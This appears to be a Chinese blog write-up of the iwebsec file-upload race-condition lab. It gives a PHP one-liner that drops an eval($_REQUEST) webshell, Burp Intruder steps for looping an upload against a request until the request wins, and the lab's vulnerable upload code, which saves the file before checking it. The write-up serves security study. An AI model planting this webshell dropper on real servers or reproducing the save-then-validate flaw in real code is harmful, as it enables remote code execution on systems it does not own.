2023-08-19 15:51阅读: 228评论: 0推荐: 0

iwebsec-文件上传 07 条件竞争

01、题目分析

在文件上传的时候,会有一瞬间进行判断,如果上传文件违规会进行删除,我们要做的就是在删除文件之前先访问到上传的文件,就可以通过两个不断的发包实现这个功能,先发一个一直上传的包,再同时发一个一直访问的包,一直循环,找到一个文件在服务器的时候正好访问到的时机,不仅仅访问,同时创建出一个后门

02、文件上传

访问代码:访问即创建代码搞出来(访问了自动创建一个后门代码)

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

然后先抓一个访问shell.php的包出来,发送到intruder中,payload选null payloads,然后选择一直循环

image

image

然后我们再弄一个一直上传的包,其他的配置都一样

image

image

image
然后一直去webshell访问路径,看看能否访问到
image

image

03、源码分析

<?php
if (isset($_POST['submit'])){ // 检查表单中是否存在名为 'submit' 的提交按钮
$allow_ext = array("gif","png","jpg"); // 允许上传的文件扩展名列表
$uploaddir = 'uploads/'; // 定义文件上传目录
$filename = $uploaddir.$_FILES['upfile']['name']; // 上传文件的完整路径和文件名
move_uploaded_file($_FILES['upfile']['tmp_name'],$filename); // 将上传的临时文件移动到指定的目录和文件名
$file = "./".$filename; // 上传文件的相对路径和文件名
echo "文件上传成功: ".$file."\n<br />"; // 输出上传成功的信息以及文件路径和文件名
$ext = array_pop(explode(".",$_FILES['upfile']['name'])); // 获取上传文件的扩展名
if (!in_array($ext,$allow_ext)){ // 检查上传文件的扩展名是否在允许的扩展名列表中
unlink($file); // 如果文件类型不允许上传,则删除已上传的文件
die("此文件类型不允许上传已删除"); // 终止脚本的执行,并输出错误提示
}
}else{
die(""); // 如果没有点击提交按钮,则终止脚本的执行
}
?>
posted @   别打扰我摸鱼  阅读(228)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起